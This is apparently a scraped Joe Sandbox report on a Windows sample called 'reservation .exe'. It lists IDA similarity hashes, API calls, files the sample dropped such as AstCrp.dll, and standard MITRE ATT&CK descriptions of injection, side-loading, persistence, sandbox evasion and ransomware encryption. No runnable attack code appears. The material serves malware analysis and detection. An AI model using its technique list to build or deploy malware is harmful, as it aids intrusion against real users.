Associated: 0000000B.00000002.2873152970.0000000007087000.00000020.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873190200.0000000007088000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873222406.0000000007089000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873248470.000000000708A000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7000000_ast.jbxd

Similarity

API ID: BackslashPathRemovelstrcpy
String ID: C:\Users\user\AppData\Roaming\fat\
API String ID: 295623078-178331175
Opcode ID: a39342556eb7ab5296919c58edf7365be4ccb98003bc7c0226d44063d451486b
Instruction ID: 4b51851e8d6340bfc13950c0290d63b7647a5e4e80919def392702345bc62003
Opcode Fuzzy Hash: a39342556eb7ab5296919c58edf7365be4ccb98003bc7c0226d44063d451486b
Instruction Fuzzy Hash: E5E012B211024AAFDB419F94EC85C5F3BDDEB092587504511FE02D2152D77DC9109A60

Function 07064D2F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,C:\Users\user\AppData\Roaming\fat\), ref: 07064D47
PathRemoveBackslashA.SHLWAPI(?), ref: 07064D4E

Strings

C:\Users\user\AppData\Roaming\fat\, xrefs: 07064D41

Memory Dump Source

Source File: 0000000B.00000002.2873047154.0000000007064000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true

Associated: 0000000B.00000002.2873024875.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873084261.0000000007083000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873152970.0000000007087000.00000020.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873190200.0000000007088000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873222406.0000000007089000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873248470.000000000708A000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7000000_ast.jbxd

Similarity

API ID: BackslashPathRemovelstrcpy
String ID: C:\Users\user\AppData\Roaming\fat\
API String ID: 295623078-178331175
Opcode ID: 1de1ee97ffc6210c07a49096eba40424e2487dfb1125305f258881edb8ab58fe
Instruction ID: b7aa53c062d021360cebb573085495b96d27f4e679348dda5f87e0ad0931c3f8
Opcode Fuzzy Hash: 1de1ee97ffc6210c07a49096eba40424e2487dfb1125305f258881edb8ab58fe
Instruction Fuzzy Hash: 6FD05E736155646BCAE1BA64A80ACCF37DCEA627643018201F942E7240D2ACE600CBE5

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report reservation .exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp

C:\Users\user\AppData\Local\Temp\is-BE9V9.tmp\_isetup\_iscrypt.dll

C:\Users\user\AppData\Local\Temp\is-BE9V9.tmp\_isetup\_setup64.tmp

C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp

C:\Users\user\AppData\Local\Temp\is-I3C98.tmp\_isetup\_iscrypt.dll

C:\Users\user\AppData\Local\Temp\is-I3C98.tmp\_isetup\_setup64.tmp

C:\Users\user\AppData\Local\Temp\qilq\2teu9t.cfg (copy)

C:\Users\user\AppData\Local\Temp\qilq\AstCrp.dll (copy)

Windows Analysis Report
reservation .exe

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre